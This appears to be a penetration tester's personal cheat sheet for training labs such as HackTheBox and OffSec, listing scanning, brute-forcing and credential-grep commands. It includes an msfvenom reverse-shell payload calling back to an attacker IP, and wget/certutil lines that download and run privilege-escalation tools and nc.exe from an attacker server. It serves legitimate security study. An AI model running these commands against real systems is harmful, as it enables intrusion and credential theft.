Templates — Snippets & Scratch
Quick copy-paste and misc notes. External cheat sheets → see Reference hub.
/etc/hosts one-liner
echo "" | sudo tee -a /etc/hosts
nxc smb 10.129.8.240 --generate-hosts-file hosts && sudo tee -a /etc/hosts < hosts
Port Scanning
rustscan -a 10.129.25.82 --ulimit 5000 -- -sVC
nmap -p- --min-rate=1000 -vv -oN allports.txt sams.offsec
nmap -sVC -Pn -p22,80,3306,445,443 -v -oN nmap.txt sams.offsec
UDP:
sudo nmap -Pn -n -sU --top-ports=100 --reason 192.168.178.10
nmap -sU -p- --min-rate=1000 -oN udp_allports.txt sams.offsec
Web Brute Sub domains
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,json,html,zip -o dirb_big.txt -u http://soccer.htb/
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -r -o vhost.txt -u http://titanic.htb
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.soccer.htb/ -e .php,.txt,.html,.bak -c -v > ffuf_big_sub.txt
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ -e .php,.txt,.html,.bak -c -v > ffuf_big_sub.txt
Web Brute Parameters
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-u "http://192.168.234.124/monitoring/index.php?page=FUZZ" \
-e .php,.txt,.html,.bak,.zip \
-ac -c
Finding gold - loot:
iconv -f UTF-16LE -t UTF-8 all.txt > all-utf8.txt
grep -Ein "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" all-utf8.txt
grep -Einr "password|passwd|secret|PRIVATE KEY|admin|user" ./*
Windows: cmd:
findstr /S /I /N /R "password passwd secret token apikey api_key ssh admin user login PRIVATE KEY CREATE INSERT" *.*
findstr /S /I /N /R "password passwd secret token apikey api_key ssh admin user login PRIVATE KEY CREATE INSERT" *.txt *.ini *.cfg *.conf *.xml *.json *.yaml *.yml *.php *.config *.env *.sql
PS:
Get-ChildItem -Recurse -File |
Select-String -Pattern "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login"
-CaseSensitive:$false -AllMatches |
Format-Table Path, LineNumber, Line -AutoSize
gci -Recurse -File |
sls "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO|CREATE DATABASE|CREATE TABLE|admin|user|login" -AllMatches |
ft Path,LineNumber,Line -AutoSize
*.* - i think this is all files in dir?
Linux
find / -name "local.txt" 2>/dev/null
windows
where /r C:\ local.txt
powershell
Get-ChildItem C:\ -Filter "local.txt" -Recurse -ErrorAction SilentlyContinue
Full workflow → Every Box - Manual Workflow · CrackMapExec - nxc > 📌 2) Host Discovery & Banner Grabbing
RevShell
msfvenom -p windows/x64/shell_reverse_tcp LHost=192.168.49.126 LPORT=80 -f exe -o "revshell.exe"
Python Venv:
python3 -m venv venv && source venv/bin/activate
sudo killall openvpn
Bloodhound:
sudo ./bloodhound-cli up
sudo ./bloodhound-cli config get default_password
LinPeas
python3 -m http.server -d /usr/share/peass/linpeas/ 8000
wget http://192.168.49.126:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh > linpeas.txt
upload /usr/share/peass/linpeas/linpeas.sh
lse.sh
wget http://192.168.49.126:8000/lse.sh && chmod +x lse.sh && ./lse.sh > lse.txt
pspy64
python3 -m http.server -d ~/Tools 8000
wget http://192.168.49.126:8000/pspy64 && chmod +x pspy64 && ./pspy64 > pspy64.txt
WinPeas
python3 -m http.server -d /usr/share/peass/winpeas/ 8000
certutil -urlcache -split -f http://192.168.49.126:8000/winPEASx64.exe winPEASx64.exe; ./winPEASx64.exe
PowerUp
python3 -m http.server -d ~/Tools/PowerSploit/Privesc 8000
certutil -urlcache -split -f http://192.168.49.126:8000/PowerUp.ps1 PowerUp.ps1
NC
certutil -urlcache -split -f http://192.168.49.126:8000/nc/nc.exe nc.exe
Flags:
whoami && hostname && ip a
whoami; hostname; ipconfig
One Liner:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.76 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.76